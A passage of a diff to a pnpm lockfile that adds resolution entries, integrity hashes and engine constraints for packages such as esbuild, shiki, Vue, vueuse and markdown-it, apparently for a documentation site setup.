sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==} + engines: {node: '>=12'} + cpu: [ia32] + os: [win32] + '@esbuild/win32-ia32@0.28.1': resolution: {integrity: sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg==} engines: {node: '>=18'} cpu: [ia32] os: [win32] + '@esbuild/win32-x64@0.21.5': + resolution: {integrity: sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==} + engines: {node: '>=12'} + cpu: [x64] + os: [win32] + '@esbuild/win32-x64@0.28.1': resolution: {integrity: sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A==} engines: {node: '>=18'} @@ -656,6 +949,9 @@ packages: resolution: {integrity: sha512-+CNAzxglkrpNf/kKywqQfk74QjtceuOE7Qm+AF8miRvPF/wmmK5+OJOgVh3AVTT3RP2mH3+FOaxlE5v72owk0A==} engines: {node: ^20.19.0 || ^22.13.0 || >=24} + '@gerrit0/mini-shiki@3.23.0': + resolution: {integrity: sha512-bEMORlG0cqdjVyCEuU0cDQbORWX+kYCeo0kV1lbxF5bt4r7SID2l9bqsxJEM0zndaxpOUT7riCyIVEuqq/Ynxg==} + '@humanfs/core@0.19.2': resolution: {integrity: sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==} engines: {node: '>=18.18.0'} @@ -679,6 +975,12 @@ packages: '@iarna/toml@2.2.5': resolution: {integrity: sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==} + '@iconify-json/simple-icons@1.2.93': + resolution: {integrity: sha512-/XhANjfGYOuqvSR3TmUnkQkINvQ4GVjVuukvymRbxtVFBvIq/yiXJqCDycKcQPT401OYT9H2vIY6ihAlz1QIAw==} + + '@iconify/types@2.0.0': + resolution: {integrity: sha512-+wluvCrRhXrhyOmRDJ3q8mux9JkKy5SJ/v8ol2tu4FVjyYvtEzkc/3pK15ET6RKg4b4w4BmTk1+gsCUhf21Ykg==} + '@inquirer/ansi@2.0.7': resolution: {integrity: sha512-3eTuUO1vH2cZm2ZKHeQxnOqlTi9EfZDGgIe3BL3I4u+rJHocr9Fz86M4fjYABPvFnQG/gGK551HqDiIcETwU6Q==} engines: {node: '>=23.5.0 || ^22.13.0 || ^20.17.0'} @@ -1087,6 +1389,42 @@ packages: cpu: [x64] os: [win32] + '@shikijs/core@2.5.0': + resolution: {integrity: sha512-uu/8RExTKtavlpH7XqnVYBrfBkUc20ngXiX9NSrBhOVZYv/7XQRKUyhtkeflY5QsxC0GbJThCerruZfsUaSldg==} + + '@shikijs/engine-javascript@2.5.0': + resolution: {integrity: sha512-VjnOpnQf8WuCEZtNUdjjwGUbtAVKuZkVQ/5cHy/tojVVRIRtlWMYVjyWhxOmIq05AlSOv72z7hRNRGVBgQOl0w==} + + '@shikijs/engine-oniguruma@2.5.0': + resolution: {integrity: sha512-pGd1wRATzbo/uatrCIILlAdFVKdxImWJGQ5rFiB5VZi2ve5xj3Ax9jny8QvkaV93btQEwR/rSz5ERFpC5mKNIw==} + + '@shikijs/engine-oniguruma@3.23.0': + resolution: {integrity: sha512-1nWINwKXxKKLqPibT5f4pAFLej9oZzQTsby8942OTlsJzOBZ0MWKiwzMsd+jhzu8YPCHAswGnnN1YtQfirL35g==} + + '@shikijs/langs@2.5.0': + resolution: {integrity: sha512-Qfrrt5OsNH5R+5tJ/3uYBBZv3SuGmnRPejV9IlIbFH3HTGLDlkqgHymAlzklVmKBjAaVmkPkyikAV/sQ1wSL+w==} + + '@shikijs/langs@3.23.0': + resolution: {integrity: sha512-2Ep4W3Re5aB1/62RSYQInK9mM3HsLeB91cHqznAJMuylqjzNVAVCMnNWRHFtcNHXsoNRayP9z1qj4Sq3nMqYXg==} + + '@shikijs/themes@2.5.0': + resolution: {integrity: sha512-wGrk+R8tJnO0VMzmUExHR+QdSaPUl/NKs+a4cQQRWyoc3YFbUzuLEi/KWK1hj+8BfHRKm2jNhhJck1dfstJpiw==} + + '@shikijs/themes@3.23.0': + resolution: {integrity: sha512-5qySYa1ZgAT18HR/ypENL9cUSGOeI2x+4IvYJu4JgVJdizn6kG4ia5Q1jDEOi7gTbN4RbuYtmHh0W3eccOrjMA==} + + '@shikijs/transformers@2.5.0': + resolution: {integrity: sha512-SI494W5X60CaUwgi8u4q4m4s3YAFSxln3tzNjOSYqq54wlVgz0/NbbXEb3mdLbqMBztcmS7bVTaEd2w0qMmfeg==} + + '@shikijs/types@2.5.0': + resolution: {integrity: sha512-ygl5yhxki9ZLNuNpPitBWvcy9fsSKKaRuO4BAlMyagszQidxcpLAr0qiW/q43DtSIDxO6hEbtYLiFZNXO/hdGw==} + + '@shikijs/types@3.23.0': + resolution: {integrity: sha512-3JZ5HXOZfYjsYSk0yPwBrkupyYSLpAE26Qc0HLghhZNGTZg/SKxXIIgoxOpmmeQP0RRSDJTk1/vPfw9tbw+jSQ==} + + '@shikijs/vscode-textmate@10.0.2': + resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==} + '@standard-schema/spec@1.1.0': resolution: {integrity: sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==} @@ -1108,9 +1446,24 @@ packages: '@types/estree@1.0.9': resolution: {integrity: sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==} + '@types/hast@3.0.5': + resolution: {integrity: sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g==} + '@types/json-schema@7.0.15': resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} + '@types/linkify-it@5.0.0': + resolution: {integrity: sha512-sVDA58zAw4eWAffKOaQH5/5j3XeayukzDk+ewSsnv3p4yJEZHCCzMDiZM8e0OUrRvmpGZ85jf4yDHkHsgBNr9Q==} + + '@types/markdown-it@14.1.2': + resolution: {integrity: sha512-promo4eFwuiW+TfGxhi+0x3czqTYJkG8qB17ZUJiVF10Xm7NLVRSLUsfRTU/6h1e24VvRnXCx+hG7li58lkzog==} + + '@types/mdast@4.0.4': + resolution: {integrity: sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==} + + '@types/mdurl@2.0.0': + resolution: {integrity: sha512-RGdgjQUZba5p6QEFAVx2OGb8rQDL/cPRG7GiedRzMcJ1tYnUANBncjbSB1NRGwbvjcPeikRABz2nshyPk1bhWg==} + '@types/node@12.20.55': resolution: {integrity: sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ==} @@ -1123,6 +1476,12 @@ packages: '@types/spdx-expression-parse@4.0.0': resolution: {integrity: sha512-odQzy87phelGS4inXOzjmusx4hoCVD0IbxUANxHzVkmTzMRTNnUPoq1urIl7S1qf09KcDWKLFIftPmLtgbsAHA==} + '@types/unist@3.0.3': + resolution: {integrity: sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==} + + '@types/web-bluetooth@0.0.21': + resolution: {integrity: sha512-oIQLCGWtcFZy2JW77j9k8nHzAOpqMHLQejDA48XXMWH6tjCQHz5RCFz1bzsmROyL6PUm+LLnUiI4BCn221inxA==} + '@typescript-eslint/eslint-plugin@8.66.0': resolution: {integrity: sha512-p088eaGrzYz1s+7cov0aMOCkNGTJlVxF4jgubf28c8L0Cv9Rloj8YBHnv4hXLq6IIEE1AsjNWavO+k+8kP2Y0A==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} @@ -1310,6 +1669,16 @@ packages: resolution: {integrity: sha512-mbCddXd+jm7hfx7w2YU64/Av4/NqqeG3GoRZgxPcgoTxYjhrcfJRw9ULch71SS4G+Q3bOXFhRvPqjguN0Hyp5w==} hasBin: true + '@ungap/structured-clone@1.3.3': + resolution: {integrity: sha512-60YRaenCQcVjYEKOcG824+DRGGIQ3VKErcBoAEDJZz5bKIs2ZG+X/H9Nk+Q6EVkwJk5QNApxbrc5QtBSwtrXAg==} + + '@vitejs/plugin-vue@5.2.4': + resolution: {integrity: sha512-7Yx/SXSOcQq5HiiV3orevHUFn+pmMB4cgbEkDYgnkUWb0WfeQ/wa2yFv6D5ICiCQOVpjA7vYDXrC7AGO8yjDHA==} + engines: {node: ^18.0.0 || >=20.0.0} + peerDependencies: + vite: ^5.0.0 || ^6.0.0 + vue: ^3.2.25 + '@vitest/expect@4.1.10': resolution: {integrity: sha512-YsCn+qAk1GWjQOWFEsEcL2gNQ0zmVmQu3T03qP6UyjhtmdtwtbuI+DASn/7iQB3HGTXkdBwGddzxPlmiql5vlA==} @@ -1339,6 +1708,92 @@ packages: '@vitest/utils@4.1.10': resolution: {integrity: sha512-fy9am/HWxbaGt/Sawrp90vt6Y6jQwf1RX77cz3uwoJwJVMli/e1IEwRPnMNJ7vKfPTwo0diXifkpPvwH9v7nGA==} + '@vue/compiler-core@3.5.41': + resolution: {integrity: sha512-q0Xtv/F9w2YO/7htQhtiL+Ev2WCJbe5N2hc+XfgyKkEKqWpSxknmT8QOuGdEKNdjPq0c3F7rNpFkTo3Kfrm7pg==} + + '@vue/compiler-dom@3.5.41': + resolution: {integrity: sha512-oKacVfNglLvGjnS6BXOlGL7EyG2h8X03pqXCjzotRZUaXGjbrTJUnVAQjrCqUnS+lyu31nwQjZY/d817GmCnfw==} + + '@vue/compiler-sfc@3.5.41': + resolution: {integrity: sha512-XJhip7R2wy6vX3knCxdZN4KracFaZUef58s1KYewqluedHIJaPIVfXoYT7MF1F8nCvv6k8bWWxDC8opMkg1VTQ==} + + '@vue/compiler-ssr@3.5.41': + resolution: {integrity: sha512-U3v5OejKEGqOI0Wy0+Sz7hGuIFZHA4LSXzrNM3IMIeDyJEBBfTpX26n3SDgToRpP2bLc9FfI2j/kSgcJ8Emq5A==} + + '@vue/devtools-api@7.7.10': + resolution: {integrity: sha512-KxtEpUOOpFz/qOGRrAwA36QF7DqIA+FXgCYit9mk9wjbaZt0sXOFz81ElOZtKA4HbWHUdwNjZHBFsFFyp5BZiA==} + + '@vue/devtools-kit@7.7.10': + resolution: {integrity: sha512-3WNi2Kq4tbpVbmhml7RiphmAt0279oh3fKNeWMQIrltfX8Q91b4i5PL8DtyNKdwmcsGrV4fg+erwWOmD05CLIw==} + + '@vue/devtools-shared@7.7.10': + resolution: {integrity: sha512-wOPslzB8vTvpxwdaOcR2qAbwmuSP0L+rhpoC6Cf56V3Jip+HWb7PQQXOUPgBNQARpXsbQX/+mvi8kKucmBGRwQ==} + + '@vue/reactivity@3.5.41': + resolution: {integrity: sha512-rznsqKM0np0x18EjzF8x88MpEhdNsffbvFbckLL5+oUKz1BxAImEmO7J1ArRYSyo6aQaVoBDp7jEkT91OOxydA==} + + '@vue/runtime-core@3.5.41': + resolution: {integrity: sha512-Vcry58hiAKwGen9Z1jUZE0feFsNArPCMOImYI8el48A9Idf6DuQYD0U05zZIF2Iad1hGhPSvcbBbAOhNr55fhg==} + + '@vue/runtime-dom@3.5.41': + resolution: {integrity: sha512-3vVBahVBS9+U6cmXBLyb8nE6/yYo4J/CGI9eVFs3KiMc0YHuudwKyShTD65jtJy/L9PUUxNAFu4cj4LiJ0UFbw==} + + '@vue/server-renderer@3.5.41': + resolution: {integrity: sha512-n6hx/pNFfbD6SuyeuMVkvqox8bwf/ET9JlA/kAz/imw8sw++wkqKe2mHX5KutjPpbKE4Z56yTHszoOjGMI9igQ==} + + '@vue/shared@3.5.41': + resolution: {integrity: sha512-IOnwSCma8j+9xJT6b8H0dEYidC80NsYmNMlZxRsukYcSoGaDBohog5hDxzeUXdFeGWFA++vWvxqOmrr96VlqMA==} + + '@vueuse/core@12.8.2': + resolution: {integrity: sha512-HbvCmZdzAu3VGi/pWYm5Ut+Kd9mn1ZHnn4L5G8kOQTPs/IwIAmJoBrmYk2ckLArgMXZj0AW3n5CAejLUO+PhdQ==} + + '@vueuse/integrations@12.8.2': + resolution: {integrity: sha512-fbGYivgK5uBTRt7p5F3zy6VrETlV9RtZjBqd1/HxGdjdckBgBM4ugP8LHpjolqTj14TXTxSK1ZfgPbHYyGuH7g==} + peerDependencies: + async-validator: ^4 + axios: ^1 + change-case: ^5 + drauu: ^0.4 + focus-trap: ^7 + fuse.js: ^7 + idb-keyval: ^6 + jwt-decode: ^4 + nprogress: ^0.2 + qrcode: ^1.5 + sortablejs: ^1 + universal-cookie: ^7 + peerDependenciesMeta: + async-validator: + optional: true + axios: + optional: true + change-case: + optional: true + drauu: + optional: true + focus-trap: + optional: true + fuse.js: + optional: true + idb-keyval: + optional: true + jwt-decode: + optional: true + nprogress: + optional: true + qrcode: + optional: true + sortablejs: + optional: true + universal-cookie: + optional: true + + '@vueuse/metadata@12.8.2': + resolution: {integrity: sha512-rAyLGEuoBJ/Il5AmFHiziCPdQzRt88VxR+Y/A/QhJ1EWtWqPBBAxTAFaSkviwEuOEZNtW8pvkPgoCZQ+HxqW1A==} + + '@vueuse/shared@12.8.2': + resolution: {integrity: sha512-dznP38YzxZoNloI0qpEfpkms8knDtaoQ6Y/sfS0L7Yki4zh40LFHEhur0odJC6xTHG5dxWVPiUWBXn+wCG2s5w==} + '@yuku-codegen/binding-android-arm64@0.8.3': resolution: {integrity: sha512-/EKnnqwvN7xYoVDhQEIEJTdPDwGW1wkFz/2Eku3ES/IJd4lcQh/OaIDFBmoJKvpe12enrb1TIoYh1fxasGXolA==} cpu: [arm64] @@ -1487,6 +1942,10 @@ packages: ajv@6.15.0: resolution: {integrity: sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==} + algoliasearch@5.56.0: + resolution: {integrity: sha512-PrqppUmhT4ENdas2pH9caE7efUcxy6EcSFhWzosiVuQBzu2tQ5yLTI6jwomT/1cuBnivzGfxiJCqDNN9FRRh+Q==} + engines: {node: '>= 14.0.0'} + ansi-colors@4.1.3: resolution: {integrity: sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==} engines: {node: '>=6'} @@ -1528,6 +1987,9 @@ packages: resolution: {integrity: sha512-pbnl5XzGBdrFU/wT4jqmJVPn2B6UHPBOhzMQkY/SPUPB6QtUXtmBHBIwCbXJol93mOpGMnQyP/+BB19q04xj7g==} engines: {node: '>=4'} + birpc@2.9.0: + resolution: {integrity: sha512-KrayHS5pBi69Xi9JmvoqrIgYGDkD6mcSe/i6YKi3w5kekCLzrX4+nawcXqrj2tIp50Kw/mT/s3p+GVK0A0sKxw==} + bl@4.1.0: resolution: {integrity: sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==} @@ -1546,6 +2008,9 @@ packages: resolution: {integrity: sha512-tixWYgm5ZoOD+3g6UTea91eow5z6AAHaho3g0V9CNSNb45gM8SmflpAc+GRd1InC4AqN/07Unrgp56Y94N9hJQ==} engines: {node: '>=20.19.0'} + ccount@2.0.1: + resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} + chai@6.2.2: resolution: {integrity: sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==} engines: {node: '>=18'} @@ -1558,6 +2023,12 @@ packages: resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==} engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} + character-entities-html4@2.1.0: + resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} + + character-entities-legacy@3.0.0: + resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} + chardet@2.2.0: resolution: {integrity: sha512-rddelWYNPRrXq6PtNEN2S3f6t9ILzvqaN5pVgi4kqt9jHQaXIial9PznB5iSPVlQSLNaaH22ItWz3EJtQ10+OA==} @@ -1591,6 +2062,9 @@ packages: color-name@1.1.4: resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + comma-separated-tokens@2.0.3: + resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} + commander@14.0.1: resolution: {integrity: sha512-2JkV3gUZUVrbNA+1sjBOYLsMZ5cEEl8GTFP2a4AVz5hvasAMCQ1D2l2le/cX+pV4N6ZU17zjUahLpIXRrnWL8A==} engines: {node: '>=20'} @@ -1598,10 +2072,17 @@ packages: convert-source-map@2.0.0: resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + copy-anything@4.0.5: + resolution: {integrity: sha512-7Vv6asjS4gMOuILabD3l739tsaxFQmC+a7pLZm02zyvs8p977bL3zEgq3yDk5rn9B0PbYgIv++jmHcuUab4RhA==} + engines: {node: '>=18'} + cross-spawn@7.0.6: resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} engines: {node: '>= 8'} + csstype@3.2.3: + resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + debug@4.4.3: resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} engines: {node: '>=6.0'} @@ -1620,10 +2101,17 @@ packages: defu@6.1.7: resolution: {integrity: sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ==} + dequal@2.0.3: + resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} + engines: {node: '>=6'} + detect-indent@6.1.0: resolution: {integrity: sha512-reYkTUJAZb9gUuZ2RvVCNhVHdg62RHnJ7WJl8ftMi4diZ6NWlciOzQN88pUhSELEwflJht4oQDv0F0BMlwaYtA==} engines: {node: '>=8'} + devlop@1.1.0: + resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} + dir-glob@3.0.1: resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==} engines: {node: '>=8'} @@ -1637,6 +2125,9 @@ packages: oxc-resolver: optional: true + emoji-regex-xs@1.0.0: + resolution: {integrity: sha512-LRlerrMYoIDrT6jgpeZ2YYl/L8EulRTt5hQcYjy5AInh7HWXKimpqx68aknBFpGL2+/IcogTcaydJEgaTmOpDg==} + empathic@2.0.1: resolution: {integrity: sha512-YGRs8knHhKHVShLkFET/rWAU8kmHbOV5LwN938RHI0pljAJ1Gf6SzXsSmRaEzcXTtOOmVqJ5+WtQPL5uigY50Q==} engines: {node: '>=14'} @@ -1645,9 +2136,22 @@ packages: resolution: {integrity: sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==} engines: {node: '>=8.6'} + entities@4.5.0: + resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} + engines: {node: '>=0.12'} + + entities@7.0.1: + resolution: {integrity: sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==} + engines: {node: '>=0.12'} + es-module-lexer@2.3.1: resolution: {integrity: sha512-shc1dbU90Yl/xq1QrC7QRtfcwURZuVRfPhZbDoldJ1cn1gzDvBaBWlv0eFolj5+0znnPJz5TXLxsN77X/12KTA==} + esbuild@0.21.5: + resolution: {integrity: sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==} + engines: {node: '>=12'} + hasBin: true + esbuild@0.28.1: resolution: {integrity: sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw==} engines: {node: '>=18'} @@ -1708,6 +2212,9 @@ packages: resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} engines: {node: '>=4.0'} + estree-walker@2.0.2: + resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} + estree-walker@3.0.3: resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} @@ -1786,6 +2293,9 @@ packages: flatted@3.4.4: resolution: {integrity: sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==} + focus-trap@7.8.0: + resolution: {integrity: sha512-/yNdlIkpWbM0ptxno3ONTuf+2g318kh2ez3KSeZN5dZ8YC6AAmgeWz+GasYYiBJPFaYcSAPeu4GfhUaChzIJXA==} + fs-extra@7.0.1: resolution: {integrity: sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==} engines: {node: '>=6 <7 || >=8'} @@ -1830,9 +2340,21 @@ packages: resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} engines: {node: '>=8'} + hast-util-to-html@9.0.5: + resolution: {integrity: sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==} + + hast-util-whitespace@3.0.0: + resolution: {integrity: sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==} + + hookable@5.5.3: + resolution: {integrity: sha512-Yc+BQe8SvoXH1643Qez1zqLRmbA5rCL+sSmk6TVos0LWVfNIB7PGncdlId77WzLGSIB5KaWgTaNTs2lNVEI6VQ==} + hookable@6.1.1: resolution: {integrity: sha512-U9LYDy1CwhMCnprUfeAZWZGByVbhd54hwepegYTK7Pi5NvqEj63ifz5z+xukznehT7i6NIZRu89Ay1AZmRsLEQ==} + html-void-elements@3.0.0: + resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==} + human-id@4.2.0: resolution: {integrity: sha512-K3GbkIWqyvvlpfhBPlbEvD97TtqBpAYA4kt+cn2lD2x2HuohzZCibcA2nOlnJT6exqvJLggoB5nv2dNf192nEA==} hasBin: true @@ -1901,6 +2423,10 @@ packages: resolution: {integrity: sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==} engines: {node: '>=10'} + is-what@5.5.0: + resolution: {integrity: sha512-oG7cgbmg5kLYae2N5IVd3jm2s+vldjxJzK1pcu9LfpGuQ93MQSzo0okvRna+7y5ifrD+20FE8FvjusyGaz14fw==} + engines: {node: '>=18'} + is-windows@1.0.2: resolution: {integrity: sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==} engines: {node: '>=0.10.0'} @@ -1943,6 +2469,9 @@ packages: resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} engines: {node: '>= 0.8.0'} + linkify-it@5.0.2: + resolution: {integrity: sha512-ONTm2jCMAVZjgQa/Fy1kScXsuOoF5NPTsoFBdE1KVIZ2vAh/r9+Bqo+0jINCBYnavTPQZz38QzFTme79ENoN3Q==} + lint-staged@17.2.0: resolution: {integrity: sha512-FchGnFe4i4B1C/a35SPU9bNGPEHSC1+1iV0plLjzBmKVe9klZrlRfSgK6Cw4VeHyqOXbJUXP0vON61uRftNQ0A==} engines: {node: '>=22.22.1'} @@ -1967,13 +2496,44 @@ packages: resolution: {integrity: sha512-4pfM1Ff0x50o0tQwb5ucw/RzNyD0/YJME6IVcStalZuMWxdt3sR3huStTtxz4PUmvZfRguvDejasvQ2kifR11g==} engines: {node: 20 || >=22} + lunr@2.3.9: + resolution: {integrity: sha512-zTU3DaZaF3Rt9rhN3uBMGQD3dD2/vFQqnvZCDv4dl5iOzq2IZQqTxu90r4E5J+nP70J3ilqVCrbho2eWaeW8Ow==} + magic-string@0.30.21: resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} + mark.js@8.11.1: + resolution: {integrity: sha512-1I+1qpDt4idfgLQG+BNWmrqku+7/2bi5nLf4YwF8y8zXvmfiTBY3PV3ZibfrjBueCByROpuBjLLFCajqkgYoLQ==} + + markdown-it@14.3.0: + resolution: {integrity: sha512-RCEsPjR+sr0x+AuYp601tKTkgFG4YEPLCzHST3cQ/fhlJkqAkz1L2/Qbp1j9qw5SBwQHFBoW8+hoN5xssOF0Tw==} + hasBin: true + + mdast-util-to-hast@13.2.1: + resolution: {integrity: sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==} + + mdurl@2.1.0: + resolution: {integrity: sha512-1+HBaOx0zi/dQWht8rNv9MYf9qqpqL/kxI0hXImU6Y547zM6Sni8BQibt7ifgMcYtQg41ao3Ivd6cnSM86inpg==} + merge2@1.4.1: resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} engines: {node: '>= 8'} + micromark-util-character@2.1.1: + resolution: {integrity: sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==} + + micromark-util-encode@2.0.1: + resolution: {integrity: sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==} + 